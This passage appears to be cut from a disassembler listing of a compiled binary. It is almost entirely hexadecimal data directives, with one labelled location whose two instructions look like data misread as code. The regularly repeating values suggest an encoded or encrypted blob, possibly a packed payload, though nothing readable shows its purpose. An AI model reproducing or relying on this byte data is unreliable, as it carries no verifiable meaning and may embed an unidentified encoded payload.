3C904D05h, 0B556F32Ah, 0B1740771h dd 1E9C6264h, 0BBE0EF60h, 3CFC3BC9h, 73156611h, 0D390C202h dd 4892AA28h, 17088E02h, 32AA31FAh, 0B31566C8h, 201CE6AFh dd 0B3EE675Ch, 201CE6D2h, 0B21A39F6h, 32156649h, 0DC940042h dd 0BD1A4240h, 32156688h, 6BA85D25h, 3D13720Ch, 32157193h dd 3A9C6988h, 3D156644h, 321564A3h, 9740611h, 1A936973h dd 0CA156644h, 0CDFDBCCBh, 21FC06EEh, 6E156688h, 27138111h dd 0D47A51C2h, 8A43C7E7h, 2D1C4C19h, 3D4699BDh, 321566AFh dd 0B9743811h, 2604F735h, 239F6942h, 0DB156622h, 3215661Dh dd 99D24285h, 27FB97E5h, 4EA209Ah, 1870E3D6h, 3215609Ch dd 52E06644h, 5BA0EFDAh, 0DB137234h, 32156681h, 0E11AEBA5h dd 502E19DAh, 7188EB64h, 0C7137AA3h, 39E0B5BBh, 1D9169E2h dd 52156611h, 3217EC87h, 0ADA56644h, 19AA0042h, 32188F14h dd 0E8EF6688h, 0ACB23A44h, 0B9FB69F0h, 538F20FCh, 32B68FE9h dd 54756644h, 733D86A3h, 0AF9807E8h, 340CFD19h, 0BA1A0624h dd 32156622h, 3215E31Eh, 3D746688h, 321563CCh, 0C2940022h dd 0CD745F92h, 0B096695Bh, 0DBEA99BBh, 32156625h, 924751FCh dd 0CEB5A22Ah, 177CD3CFh, 21FC6036h, 4E156611h, 507B1400h dd 0B330B52Eh, 0AB40B015h, 76E2AF99h, 879CA4BDh, 34014C21h dd 0F49E0042h, 93DFE777h, 0AF980745h, 340FC763h, 321575CBh dd 0CEB38C11h, 5D588F9Bh, 6E789678h, 14546B60h, 0C54A59FAh dd 3DC69970h, 321576CBh, 321E8F22h, 87276611h, 0C80EB4BAh dd 0A8EEF70Fh, 6B90ED22h, 0DB13723Fh, 32156685h, 2509DE5Fh dd 60F6B675h, 790DB8C5h, 0B79C9EF7h, 3401432Dh, 0DBED07DBh dd 32156618h, 8CB1334Bh, 5B28D639h, 0DA2BE617h, 32DEE31Eh dd 0BC1A6688h, 32156645h, 3A8E5DBh, 3213720Dh, 32A2E287h dd 61E96644h, 83449B95h, 6BDDEEF7h, 524E9EA0h, 4FD5E722h dd 3DBF07E0h, 32157193h, 32078F88h, 0C9046644h, 0B5E63738h dd 0BED1E8FAh, 0F111B0DCh, 0CC6BAAD1h, 1621E774h, 17714F57h dd 0B1316203h, 74206280h, 3D30020Bh, 3215769Dh, 321E8F88h dd 12F06644h, 9D41550Fh, 0AB04DD24h, 1E0F4B04h, 0CA3C4819h dd 1E0FD975h, 0CA14484Ch, 89469FD7h, 32156640h, 9F516027h dd 1FCD4F72h, 51B8228Eh, 3A92691Fh, 3D156622h, 3215649Dh dd 99740688h, 321FEC4Bh, 65756622h, 72F3E749h, 53314C78h dd 3214E64Bh, 0DBE06622h, 32156439h, 32128F7Dh, 0D906644h dd 0AD93D56Bh, 0E88EBBCh, 0DB137A98h, 32156649h, 0C196EF96h dd 0FDC4FA08h, 21471635h, 379B69A3h, 52156622h, 53E7D91Eh db 77h, 0B5h ; --------------------------------------------------------------------------- loc_5FD1BE: ; DATA XREF: sub_581EE9+3ACBo sbb bh, [edx+3215665Ch] retf ; --------------------------------------------------------------------------- db 75h, 15h, 32h dd 9B02D11h, 7863478h, 61DD7483h, 624680D0h, 0BAA314Dh dd 1405FB05h, 0CDE06058h, 3DFC06F1h, 11156611h, 0F2E9CB49h dd 0DC46C21Ch, 9D3D5AA5h, 0F09430A8h, 127E6613h, 3DD56D25h dd 32154EA7h, 72FC9311h, 3D156688h, 321575C7h, 37FD0622h dd 0A5156611h, 0F42B6A10h, 329D691Bh, 53156622h, 0FF64DD71h dd 0F19E7ABEh, 5B90E525h, 37137207h, 321EEB1Eh, 3D756688h dd 321566C2h, 0C39E0022h, 0CC628F70h, 0BFE09977h, 2E3D20D9h dd 0E1EA9A24h, 0B9733571h, 0B3733843h, 536B4295h, 0B71AA629h dd 32156635h, 0FBA09FE8h, 32518F25h, 0B2756622h, 22FC47C3h dd 95156688h, 0B1CB8743h, 53E5663Ch, 51C16BB6h, 53DA51C8h dd 0BB118AC7h, 36AC422Eh, 33156611h, 3BFC3F42h, 9F156644h dd 6A74FD33h, 1AFC921Eh, 32146561h, 0E5A30644h, 8CFDE744h dd 0AF98075Bh, 340CFD19h, 321561ADh, 18033E22h, 50A41279h dd 0B11AB577h, 32156665h, 5BA0EDD7h, 0CA137234h, 323B6061h dd 35FC0644h, 4F156622h, 6B92276Dh, 0DA94C999h, 12BA61E4h dd 5B98ED43h, 52137234h, 32156060h, 90168F44h, 6A3AB8F7h dd 879C07E4h, 340143E1h, 321FE74Bh, 3D756622h, 32156692h dd 53D4ED88h, 4334DC16h, 0D89456DCh, 3B002ED8h, 1B4FB7A1h dd 6AD4E7B5h, 52328F0Ah, 8CFEE777h, 5385D240h, 16019115h dd 3D75277Bh, 32156697h, 30936988h, 52156644h, 0DC940743h dd 629A4483h, 8B44A8A1h, 579178B2h, 7C50AFA3h, 0B35407E6h dd 48513169h, 70D4E71Bh, 331E7AFCh, 0DA753FDFh, 3215668Fh dd 577AAA10h, 0B3FB616Ch, 48ADC1E6h, 0B31A3899h, 32156647h dd 53DED12Dh, 0B91AC2E2h, 3215668Fh, 3214EE4Bh, 0DBE06622h dd 0CDEA9B08h, 3214E787h, 0CBE96644h, 911AFBAFh, 0CDED600Bh dd 3E92695Bh, 52156644h, 5BFDE44h, 3215EA1Eh, 60746688h dd 1639E713h, 0FE8252Ch, 3CD7E74Bh, 0BB289BCBh, 3FFC3C94h dd 0C5156622h, 8D042F7Ch, 82B288BBh, 940E38C3h, 2384E309h dd 0B71A6005h, 3215669Ah, 32156BADh, 77BFDA22h, 6C0570DFh dd 2113EB26h, 0B79CC41Fh, 340174B3h, 321576F8h, 6AC3E688h dd 0F422172Eh, 24572111h, 0DCBD05EDh, 0A390ED86h, 3D137255h dd 321561A4h, 33926911h, 0CA156688h, 3267C52Ch, 1629EF22h dd 0BF1A0671h, 32156688h, 63AB0025h, 0BB470794h, 36D7E7F3h dd 0B3156688h, 321562AEh, 1601E122h, 1611EF4Dh, 321D8F71h dd 6BC16644h, 7738ECB2h, 0BF985C26h, 340FC32Bh, 32156FADh dd 0CEA1EB22h, 0F12F2788h, 3BFC74BBh, 0EE156644h, 100DE9B7h dd 16A438ECh, 0B9E0B777h, 263637C1h, 321A8F24h, 8E146611h dd 0A9CAB345h, 0E64FE923h, 0FC4C1CA4h, 32198FB3h, 6FC16688h dd 339FEA96h, 0FF8D283Eh, 7B7D9948h, 0BB1566FBh, 52754240h dd 5F6BDF44h, 53740771h, 0B3F0EFDDh, 32156281h, 36F8E522h dd 6E314A96h, 52315A01h, 0F59E6FF2h, 0A390ED43h, 3D137200h dd 32157607h, 321E8F44h, 4F496622h, 90F6307h, 0C14B09B7h dd 0D19C35CEh, 3211A5A3h, 0D9946611h, 3215668Ch, 6E317AC3h dd 523162ABh, 0F1AA6943h, 32048FD6h, 0C2626644h, 0E386687Ch dd 8CB25A85h, 0D12CF396h, 53934B01h, 94BCEBAFh, 6375600Bh dd 68E3D187h, 3DC49925h, 32156FADh, 8C730611h, 0E195E316h dd 0B94507C7h, 0F6944236h, 32156615h, 321EEB87h, 34FC6644h dd 42156622h, 18DE6897h, 6943643h, 7C0BED60h, 88473F27h dd 375B789Ah, 0C74FB7B9h, 63984DBDh, 3D137201h, 32156E99h dd 30976988h, 52156644h, 2BA8E543h, 32137221h, 3281E287h dd 0B31A6644h, 32156634h, 3205EE1Eh, 39FC6688h, 54156644h dd 0B032115Bh, 434E3E8Ch, 0B79EB95Eh, 340165CDh, 0B73E9ADAh dd 34015608h, 0D2D2E7E8h, 8D0A5736h, 5298ACCCh, 3DD45D70h dd 3215330Eh, 3E9F6944h, 3D156622h, 32156090h, 32926988h dd 0B9156644h, 260713A7h, 0B7169F17h, 34015691h, 321568ADh dd 5714C322h, 0B670CB31h, 144ACEB2h, 0BB7D87EDh, 2615DBA7h dd 94FC9E17h, 52156689h, 32156AACh, 71FC22h, 724D7A3Ah dd 0F69A175Ah, 6AC7D4FBh, 0BB4607DAh, 36D6E7F2h, 0B3156688h dd 321562AFh, 1609E122h, 1619EF4Dh, 0B34407E8h, 42C44270h dd 369E5CBEh, 36D1E735h, 7156688h, 8891695h, 0EC953642h dd 0B81A3F3Dh, 32156688h, 33AB3025h, 1B156622h, 0BB1A38E1h dd 32156689h, 5A4233B1h, 7B48137Fh, 90E2E74Eh, 0BB5C3BF2h dd 0DA1C39B9h, 321E8F7Fh, 0DCAA6611h, 4212B633h, 49200958h dd 33AF34AAh, 33156611h, 0DB753C58h, 32156649h, 55E6D765h dd 8F76F86h, 4C3DC3EEh, 321E8F66h, 3DFE6622h, 0DAED30F0h dd 0A335A8Dh, 0B79C074Bh, 340165ABh, 739067E9h, 3D1372A2h dd 32156EC3h, 309C6922h, 52156611h, 2B90A1E9h, 32137274h dd 0DB156622h, 32156617h, 0E25580E9h, 727F4D56h, 32156ACBh dd 0CA1A6A11h, 45500BF3h, 0BF7FBA67h, 22150EA8h, 0BE1A6611h dd 32156689h, 22810EB1h, 3E9C6622h, 327F9A35h, 3B80997Dh dd 3D13725Ah, 321570A2h, 0C1940611h, 694CDB50h, 32156EACh dd 55949322h, 0A4F9DF54h, 0CD743E4Ch, 26064BD1h, 3E9C6924h dd 52156611h, 20D6DEEEh, 3215E74Bh, 0BB746622h, 26071394h dd 0B51A068Eh, 32156640h, 0C76ED944h, 32156AF9h, 8A041E88h dd 0A9578C46h, 5953FA9Ah, 321A8FD8h, 51D86688h, 61964F8Fh dd 4AA6DD7Dh, 0EACB727Ch, 0BB743E9Dh, 2615DBC1h, 6EA9F24h dd 0F6943F35h, 3215668Ch, 321576ADh, 39F13122h, 4C160373h dd 977247E3h, 1DD38D9Bh, 8FA09984h, 0CB137211h, 1144D377h dd 5AE06050h, 321565A1h, 3D315A98h, 32156C06h, 53750644h dd 5B85A6A3h, 0CD742EE6h, 2604F73Dh, 26956942h, 3D156622h dd 3215689Ah, 321C8F88h, 0BF7A6644h, 7825509Fh, 0C7BE7547h dd 8DC8E305h, 0B71A605Eh, 3215662Eh, 3213E21Eh, 0BE1A6688h dd 32156644h, 0C775B6DDh, 3215E31Eh, 33746688h, 26257FC9h dd 8F9E9E24h, 340166ACh, 32157561h, 7EB92E44h, 144BC17h dd 275C749h, 37CC173Ch, 7FCF1F17h, 321D8F42h, 0BDDA6611h dd 4092F2BAh, 0B37379E7h, 532848E5h, 1144D39Ah, 22FC609Ch dd 1D156644h, 157C59C7h, 0FE12545h, 0BEDC598Dh, 0C1B8406Fh dd 38986986h, 52156611h, 3215EC87h, 6A476644h, 321D8F43h dd 235A6611h, 434DC5CDh, 879E59F1h, 3401624Fh, 32156FF8h dd 3AEFE088h, 0DF567D05h, 0BD1A950Ch, 32156610h, 0BF1ACB70h dd 32156648h, 3213E42Dh, 0B41A6611h, 32156688h, 1AC9DB11h dd 0D794428Dh, 7290BCEh, 0F794BB7Fh, 16394E98h, 0BBFAEF75h dd 6F4A9A6Fh, 321FE187h, 37FC6644h, 13156622h, 4915A9EFh dd 5210A649h, 3216E94Bh, 8D1A6622h, 884707DAh, 58077497h dd 19FD8CC5h, 0E2145226h, 0B131729Ah, 3EFC624Ch, 1B156644h dd 0ACD757A5h, 88D18A96h, 31AFB8AEh, 2636D3C1h, 321D8F24h dd 86AD6611h, 2158A3F1h, 0BF9ECC8Ch, 3401669Fh, 0FC9C30E9h dd 69E5601h, 36D1E760h, 3D156622h, 32157D9Ch, 279A6988h dd 0DB156644h, 32156632h, 0CCC9D111h, 0E31523D4h, 358F06AFh dd 0EE2FC658h, 339C69BCh, 0CB156688h, 3215DB11h, 0BB466622h dd 0CE4BEFFAh, 37FC3BD3h, 0A5156644h, 85343D4Ah, 3678D398h dd 0B31A609Ch, 32156645h, 0CDEDE5D7h, 3269E31Eh, 0B11A6688h dd 32156645h, 32108FDEh dd 84CC6611h, 0B32D0773h, 0EFC8BB7Ah, 6D9069FFh, 0DB156611h dd 3215669Bh, 0A80AF20Eh, 0FE081F3Eh, 4E29FD57h, 9F75321Eh dd 62F34BE1h, 3215669Ah, 0F5E56711h, 32156688h, 1611ED44h dd 3211A2A3h, 0B71A6611h, 32156689h, 36F9E7BDh, 0BB156622h dd 36AA422Dh, 33156688h, 0BBE939BAh, 26110B97h, 26FC9317h dd 3DEA995Bh, 321563CEh, 0F3950622h, 0F2D4074Fh, 32128F8Bh dd 43746644h, 850142DEh, 87906551h, 0CE1372ABh, 3D18DBC7h dd 3D146036h, 32168E95h, 21986988h, 0DB156644h, 3215662Ch dd 0F007174Eh, 11188289h, 0A97970B6h, 0C942E10h, 98BFCCBBh dd 32CAE387h, 3CFC6644h, 3A156622h, 4E112FF7h, 0D956FF16h dd 0F99DDBEh, 3D950E0Fh, 269C6611h, 3211DCACh, 0E4146644h dd 321F8F78h, 0C7A56611h, 4E27C198h, 12482448h, 3206924Ah dd 1639EF11h, 826AB8E0h, 0B3583B41h, 9058EEE7h, 0FFE0E71Ch dd 0B3558D90h, 8BC0CEA9h, 0CE7BEF71h, 259B694Ch, 0DB156688h dd 32156656h, 2A898C3Eh, 0A94A95B8h, 0F5EEDA6Fh, 101CB1CCh dd 0B14546E6h, 0E9C62FDh, 3D4A3EACh, 32157ECFh, 32068F22h dd 0C0626611h, 9158336Ah, 1E3E8424h, 7B3139D4h, 96D9DD2Bh dd 0C1A734DFh, 8273D517h, 69CD565Eh, 0DB4FB621h, 32156687h dd 0E9F2F648h, 998CD0D5h, 62FBD4D2h, 0DB31F8A9h, 3215660Ch dd 3202E62Dh, 20FC6611h, 71156688h, 0E72113FBh, 0E6EFDC52h dd 95967BF7h, 0ED9D547h, 3ED577Bh, 0DBED57E5h, 3215661Ah dd 54799560h, 0E5B2BDB3h, 617705CCh, 0CA9DA8A6h, 1EC590D3h dd 36DD4A73h, 52460694h, 53ED3C70h, 0B3F0EFDDh, 32156281h dd 36F8E522h, 6E314A96h, 0DB316201h, 3215664Eh, 22E42D38h dd 57BFBA72h, 8F969B53h, 34016BE5h, 0A4916923h, 0DB156610h dd 3215668Fh, 243D6B97h, 632D1418h, 0B8507FA8h, 89F2DE81h dd 0FA149031h, 0B1316AA9h, 39FC62D5h, 4E156688h, 3942BE84h dd 4860EBB5h, 0B1ED7127h, 29B34235h, 0B61A6642h, 32156641h dd 323FE71Eh, 0DB756688h, 32156650h, 4A3201h, 27BD56D5h dd 7C3ED25Ah, 0B27AE769h, 79C9F408h, 32156FF9h, 0E6172C88h dd 6E8FB9CAh, 534B6EA3h, 3219E21Eh, 0B11A6688h, 32156642h dd 3215E22Dh, 0AF986611h, 340FB2D6h, 1328D924h, 8C732BCBh dd 0CD741A86h, 55AB065Bh, 0C762A6A6h, 0B9730643h, 0B2749ACEh dd 0B61AF6B7h, 3215665Fh, 894633DBh, 32156614h, 334EBB01h dd 0DBE03BABh, 321567EFh, 3214E21Eh, 0B1ED6688h, 0B01A36BCh dd 321566EBh, 0A2A037E8h, 3E9E8E00h, 36D1E760h, 52156622h dd 32156BF8h, 0AEE8CE88h, 2824A9D1h, 6963D86Dh, 0ADA09AF6h dd 0B01ACCE9h, 32156645h, 321D8FDEh, 124F6611h, 431D000h dd 369E354Dh, 0D39C3706h, 3211A790h, 0F3946688h, 32156640h dd 6E316AA5h, 32156AF8h, 40F35588h, 0EA12B88h, 482895E5h dd 0DB75CC3Fh, 32156683h, 3AC865F6h, 191579B8h, 0B248909Bh dd 0DB742F46h, 32156648h, 7BDC440Eh, 0F20955C4h, 3B00FFB0h dd 3215A4ADh, 8A730622h, 5274A959h, 32157260h, 0EECC4044h dd 0D652131Ah, 864F09EAh, 25D658DBh, 0F15E760h, 6974069Bh dd 3207EF1Eh, 3FFC6688h, 30156644h, 0D81E2AD8h, 8DCE4920h dd 3BE69515h, 16219925h, 36D1E77Ah, 3D156611h, 32156A05h dd 34976944h, 3D156622h, 3215669Eh, 0B71ACC88h, 32156645h dd 0CD6AE6DAh, 6A9069F8h, 3D156688h, 321568C5h, 0B51A0622h dd 32156611h, 3215EB87h, 0B1746644h, 29B3429Fh, 0B61A6617h dd 321566AFh, 0DDFBE624h, 1BEBC39Bh, 0AF98074Fh, 340FB5FDh dd 32156DADh, 0CFAC7222h, 0A0B076B2h, 3032755h, 0B975B5BBh dd 63749FD2h, 3211D946h, 0CB9C6688h, 0BAEC671Bh, 0B9ED3F23h dd 2615DB94h, 3593698Eh, 3D156644h, 321567A0h, 8F409E11h dd 61671268h, 1B488E45h, 46F54BDAh, 0DBEC3563h, 32156683h dd 9B39724Fh, 0D8AB3D9Dh, 5ADF9BE7h, 321574C3h, 8D315ACDh dd 32156626h, 0DB4A9E38h, 3215668Fh, 0D0A709E7h, 998713B7h dd 3202E81Eh, 0B11A6688h, 32156655h, 32156ACBh, 27BEDD11h dd 4F7CD3FBh, 0D0E6D005h, 3AFCCB6Eh, 10156611h, 229D9C8Eh dd 0CBD2A494h, 1474DB77h, 74D22D53h, 8FCCF974h, 0CEAC37F0h dd 33EA99DDh, 6B3C67E0h, 3A9D69D5h, 3D156644h, 321564A8h dd 0DB740611h, 0CDEA9DA0h, 5FA0EFBDh, 0DB137226h, 32156618h dd 66ACDFDh, 9BA32113h, 0F99406F3h, 4D47BE69h, 45AF00DBh dd 5A743EA7h, 32156BFAh, 0CA317298h, 329566E0h, 0B61A9E44h dd 3215662Ah, 3217EE1Eh, 53756688h, 39FC662Eh, 81156622h dd 1A84A094h, 0AC0B3F22h, 87EA8A4Fh, 34017FB7h, 138099E8h dd 0DB137284h, 3215664Bh, 24B3D21Dh, 0D34E4EE9h, 132F4962h dd 0B97525A4h, 0BB434236h, 36D3E7F7h, 0B1156688h, 6926282h dd 54753A06h, 89739D9Ah, 0DB740A22h, 32156642h, 0D2EAC647h dd 0BF9E4B60h, 340164F9h, 321577ADh, 0FD7B4F22h, 0DE31B261h dd 126B50DBh, 0D4EBC048h, 5A401735h, 32156611h, 6F3CEFD5h dd 3214E54Bh, 67E06622h, 321562ACh, 2CD4E788h, 331E9A59h dd 2CFCE7CBh, 6F1E9A0Ch, 32156D61h, 7EA29644h, 3CB22AF4h dd 59B8900Bh, 3064EB01h, 0BF1A6050h, 32156623h, 0F4668FE8h dd 3CFC9977h, 0C9156644h, 81D53B80h, 0BBBB247Eh, 0A02713BDh dd 19AA8FF0h, 0B91A6622h, 3215661Bh, 0C0FCE7E8h, 610F7E38h dd 3D750778h, 32156B9Eh, 32128E88h, 55636644h, 35C22042h dd 3CFD3D40h, 22156688h, 0F7D317AFh, 0B646FCA6h, 41776709h dd 0C19E0010h, 5275071Ah, 0DBEDD92Dh, 3215661Dh, 0B6193836h dd 0D3B84207h, 45BFE0A6h, 4398ED70h, 0CA13728Ah, 32188E24h dd 361A6622h, 0CBB6D2FBh, 0E10972B3h, 54733733h, 6C2E179Dh dd 32108E71h, 0D8F06688h, 6C04C70Fh, 32156DCBh, 5B08E211h dd 0BD5C355Dh, 571FD7C8h, 3EA0743h, 321A8F48h, 128E6688h dd 4B4E4607h, 0F41D2FB0h, 23DB60EFh, 1298EFBEh, 52137DE2h dd 3207EC2Dh, 3EFD6611h, 0B5156688h, 0A214D02Bh, 0B3C83420h dd 694FC5AEh, 53C4D187h, 665B5EC5h, 0B71A2A66h, 32156687h dd 0E29400E8h, 0B973C6E9h, 3EFC07D1h, 0A9156611h, 0DF8E3B37h dd 58D1FA12h, 540A4287h, 7E111E90h, 5D9069A6h, 0DB156644h dd 32156627h, 0BB88AB85h, 321D8F52h, 0E4816644h, 7EE3C66h dd 0B9455F2Eh, 0F69442BCh, 32156640h, 321577CBh, 4D38D211h dd 81D1B8Eh, 0C3600CB0h, 68ED8B8h, 8D4270F2h, 3215668Eh dd 2016A0C5h, 0CC14506Dh, 20168890h, 0C74A50C7h, 32BCE3CFh dd 23FC6036h, 67156611h, 0A14056AFh, 56B2B4A2h, 7833C84Bh dd 0EC3D63DDh, 32103661h, 0B9459344h, 0F6944216h, 32156615h dd 321E8FE8h, 7CF56644h, 0F491C736h, 0C4FD15A3h, 0E99400EBh dd 62749BC5h, 0B13172A9h, 0B37562D5h, 6C1DA950h, 0B3730638h dd 52016BD2h, 3740770h, 32078F41h, 0DD826644h, 1B465395h dd 0ED27964Ah, 95F72296h, 0F65EF970h, 321575CBh, 9B569111h dd 0D70505ACh, 0D11A7BFEh, 0A9B49361h, 23BD2AC0h, 32299324h dd 3351E24Bh, 0EE96622h, 0DF91693Ch, 52EA9977h, 3217EB4Bh dd 6A476622h, 3D3B5A70h, 3215B50Ch, 39FC0644h, 9B156622h dd 0ED1FB590h, 0C1A9792Eh, 851AD944h, 22907E5h, 370EE41Eh dd 26FC6688h, 9F156644h, 5BB15858h, 0CE525BFFh, 2CA52E2Ah dd 0B1F6A993h, 0E3AC4EFh dd 0AF936928h, 0C7EA9977h, 32198F24h, 0E26A6622h, 0D9A8860Ah dd 0FBEE78E4h, 0E747CD4h, 0EC976963h, 0CB156615h, 0B41A3CB4h dd 0CDEA993Ch, 320DEC2Dh, 21FC6611h, 84156688h, 836C6E46h dd 21BC9EEFh, 0F5C68AB5h, 9B7C1F98h, 6D298696h, 0CD47E22Dh dd 0EED99EEh, 949769E9h, 0CE156640h, 32156ACBh, 0ABBBB411h dd 3AFE9FFBh, 0C4186F8Ch, 3D6F5A9Ch, 0CDEA4997h, 32048F77h dd 5B246644h, 0D47774F3h, 0B9B259D2h, 1BE3181Ch, 0DB88E984h dd 32156253h, 321561F8h, 0F4288188h, 32E4BDDDh, 3214DB77h dd 0D8146611h, 851A06D5h, 0CBA2698Bh, 0C02C9343h, 365EE21Eh dd 52ED6688h, 0C7FAE722h, 62749FC3h, 5D2385A9h, 4D2C53DAh dd 0EAE249C6h, 0DF5CBF17h, 6AD7676Ch, 0D6AA317Dh, 0B354A851h dd 3FF7DD5h, 6DEC4FAFh, 3217E387h, 53756644h, 0CDEBD5CBh dd 0FB909AEEh, 3612E287h, 35FC6644h, 0A1156622h, 0CB11D244h dd 0B975F5AEh, 53E6ED8Eh, 2B30D3AFh, 0BC1A6005h, 3215669Fh dd 3204EA4Bh, 3EFC6622h, 5C156611h, 0B44DD475h, 3FF2B462h dd 65BE6EB6h, 0CB9C3943h, 32198FD7h, 27EB6644h, 6EBF1B6Ah dd 0C70C9CA0h, 0DE949FB7h, 32156640h, 6D3172ABh, 321568F8h dd 0FDD3ED88h, 0A6599B1Ch, 1629C5ABh, 52214845h, 8B738738h dd 61746B8Ah, 0BA474895h, 68E5EEEFh, 34FD06D3h, 8A156644h dd 4708DEA0h, 69DBED9Bh, 9C74A803h, 52E99B31h, 381DD944h dd 32078F43h, 32E76688h, 99FFA340h, 76BFD318h, 62E9FBAFh dd 6CD71727h, 8A45071Fh, 17F53F97h, 1B4DA738h, 87D4E771h dd 0CA30861Dh, 3215D975h, 0FD3C6611h, 0E9E9F01h, 36D1E560h dd 32156ACBh, 0C3F71011h, 0D8C9C561h, 0E274C598h, 0B8FAE72Fh dd 0B35ED236h, 0D71E504Fh, 0B3DA4F5Ch, 0D71E50CDh, 0B8D2E709h dd 0CA5ED2AFh, 0E9E3013h, 36D1E506h, 5275064Fh, 0C17407E9h dd 53E006E0h, 0CDEADF73h, 0CB1499EEh, 6BD1674Eh, 0FCEA29C4h dd 0DBEA01A2h, 0FAEA1191h, 2B936971h, 0DB156644h, 32156636h dd 0BFEB8999h, 21369ADEh, 526DB602h, 0EBA35143h, 61BEEF1Dh dd 2B30F305h, 0BE1A6050h, 32156636h, 321BED1Eh, 3BFC6688h dd 2B156644h, 3A22150Dh, 34A76D05h, 32157461h, 32C8544h dd 3932007Eh, 617A4C56h, 9E513603h, 0B919954Ch, 26146BA7h dd 32198F17h, 8FDE6688h, 5EE85ED0h, 0BF3F1BEAh, 0F290D9DBh dd 3294E387h, 0B2756644h, 3EFC00E6h, 9F156611h, 0D691A92Ah dd 983C3662h, 533C1262h, 3A5CE3D7h, 0DB52609Ch, 32156649h dd 649898CDh, 740645EDh, 53751E58h, 95C70E73h, 0BF1AB2B8h dd 32156602h, 32156861h, 7CA94A44h, 78D5985Ah, 0DD59F57h dd 0CD9C6B92h, 263903F1h, 0B7989A24h, 34021EEFh, 32157461h dd 4FA84C44h, 0CC0D5D6Fh, 99A9D171h, 0EE7E2D4Ch, 0CDB0F396h dd 359A69F2h, 3D156611h, 3215670Bh, 67E99F44h, 0F79483ABh dd 32156615h, 32118B09h, 1E926644h, 269C3A06h, 8D1A0635h dd 0CD749370h, 29916994h, 52156622h, 321576F8h, 0E9AF5588h dd 626CDF1Ch, 3FB1F420h, 23D5ED72h, 0C7AE00D8h, 0F2900723h dd 3332E32Dh, 60756611h, 32156060h, 0E1908844h, 6C387AACh dd 0B79E074Ah, 34014D55h, 3DD5E3BDh, 3215C0A7h, 229A6911h dd 0DB156688h, 3215664Fh, 0E8E979C4h, 0BBF4FE63h, 0C764CF9Eh dd 3A5CE382h, 52596036h, 3210EA1Eh, 0B3736688h, 52FB1897h dd 3215E12Dh, 0B51A6611h, 32156688h, 0BA1A0725h, 32156638h dd 3201EE1Eh, 3DFC6688h, 76156644h, 0DD3D1A4Ch, 0DBBD320Fh dd 0DE65D1CCh, 0DB7D3ABBh, 0DBCCBC3Eh, 32156603h, 5A81CBA1h dd 0CD016A0Ah, 64DCFFD6h, 33C1F41h, 0CDE08124h, 263903F1h dd 32198F24h, 9B826611h, 487F3528h, 0E20FFE71h, 0B79839CEh dd 34021EEFh, 32156D61h, 99CB5F44h, 0DF5189CCh, 1D28A008h dd 61ECB677h, 0F19485CDh, 32156626h, 0B5118D92h, 0BB494294h dd 23FC4250h, 59156622h, 0D70CAC7Eh, 289DD2F1h, 0C745E4A4h dd 0AE7C392h, 8D75B6EEh, 5C55F4F2h, 3B18D922h, 3DD5E343h dd 32154294h, 8C730688h, 0DB7414B5h, 321566B3h, 321572F8h dd 0ED5CE588h, 0B3FC49ABh, 0FFDD3A31h, 0EF323E18h, 0B985A68Ch dd 1290EF1Bh, 3D137D84h, 3215759Eh, 0C29E0688h, 32156CADh dd 2B054122h, 78843ED2h, 533B9075h, 0D79C33B8h, 3211A3A3h dd 0DF946611h, 3215668Ch, 6E314AC3h, 523162ABh, 0DE9607E4h dd 1621EF8Ch, 9090EBB1h, 3D137151h, 32156797h, 0E2EA9388h dd 3DD56DBDh, 32156AA7h, 3D759E11h, 0DB74A637h, 32156651h dd 1651EFDAh, 3B99690Dh, 52156688h, 662CB1C5h, 53E90026h dd 0B21A07E4h, 32156689h, 3FFCA5B1h, 156622h, 5B061A76h dd 5B7EC03Bh, 42617FDFh, 52460642h, 8A733F70h, 0DB7457CCh dd 3215664Ah, 0BBB4B504h, 102481C7h, 0C8F72FD4h, 0BF9E7168h dd 340EC002h, 29B50EEDh, 369C6688h, 44AC0660h, 3D2913CFh dd 32156098h, 32986988h, 53156644h, 61DEEF71h, 0B11A3D49h dd 32156684h, 3213EA4Bh, 0B91A6622h, 32156611h, 324860E0h dd 1601EF44h, 32155A98h, 31D76711h, 0B41A3C8Ah, 3215664Bh dd 32156CCBh, 519B3611h, 0BC90E4Ah, 0CD47D780h, 3215EE92h dd 1601ED11h, 0DB11A20Bh, 3215664Dh, 70CBD845h, 2462F416h dd 4B80EF57h, 3D13726Dh, 321567AFh, 60429311h, 0A74C9E32h dd 68C2EF22h, 6B1589A3h, 0CA140084h, 321E8FD7h, 118B6644h dd 7772E7D7h, 0F6838AA8h, 93AC375Ch, 0B3328E6Ah, 0DA3BF3CBh dd 0B9D46736h, 0BE1A3F99h, 3215664Fh, 321560CBh, 0D5CD9611h dd 0DB564C9Bh, 3215664Fh, 726B30DDh, 0DCB9C4E9h, 0BB53D1E2h dd 26026BD1h, 32068F24h, 15AC6611h, 0ADBB262Ch, 4E4BF41h dd 0CDF2C2BEh, 3E3D5530h, 162199A6h, 36D1E51Ch, 32156ACBh dd 3E254E11h, 9CA96A5Eh, 0AAAB6A7h, 321E8FDCh, 39376611h dd 0C9F7B6F8h, 90181BB9h, 166199CDh, 1611ED35h, 0CA11A20Bh dd 0C75FC069h, 5E8E4B33h, 0FA3C4A93h, 0B079FD8Dh, 78B36368h dd 9E977D7h, 26026B94h, 5D97698Eh, 0DB156644h, 32156625h dd 4BF22814h, 3DB67B4Eh, 321567CAh, 0B72E9A22h, 34014F68h dd 3245E587h, 0BE1A6644h, 32156636h, 321569F8h, 0A5EA8B88h dd 6E6C1B55h, 0DBC3258Ch, 0D4DD73Bh, 3E9869E8h, 0DB156644h dd 32156625h, 5FC93A76h, 53BD9818h, 38926925h, 52156622h dd 0F852FEA9h, 0EB9E00DCh, 3211A425h, 321DEA2Dh, 0B91A6611h dd 3215668Ah, 0CB740724h, 423162E5h, 6168AB16h, 0EDF633h dd 164967C6h, 87753D26h, 0FBA269C2h, 1651A1E9h, 0F501DA40h dd 76A83319h, 33D15EFAh, 6F1D42E4h, 0DBBFD124h, 32156631h dd 0C2474156h, 0A39F32Bh, 48046CE1h, 5ED2E9A8h, 53F1262Bh dd 42A3D8DEh, 89AD37AEh, 37448C52h, 73686D14h, 373896A1h dd 6C541B4Fh, 0D1940042h, 3BFC7A32h, 42156688h, 0FD7D2D97h dd 0C5CFCD68h, 0CD98EB70h, 0CB1372C5h, 3D7587BBh, 321565A0h dd 0D9D2E611h, 3D743D38h, 32156EC2h, 30996922h, 52156611h dd 0BA1A06E9h, 3215664Ch, 3217EB2Dh, 53756611h, 32AD36D9h dd 0BB156644h, 0C3143EE3h, 0DB4C679Bh, 32156698h, 605393F2h dd 32397B3Bh, 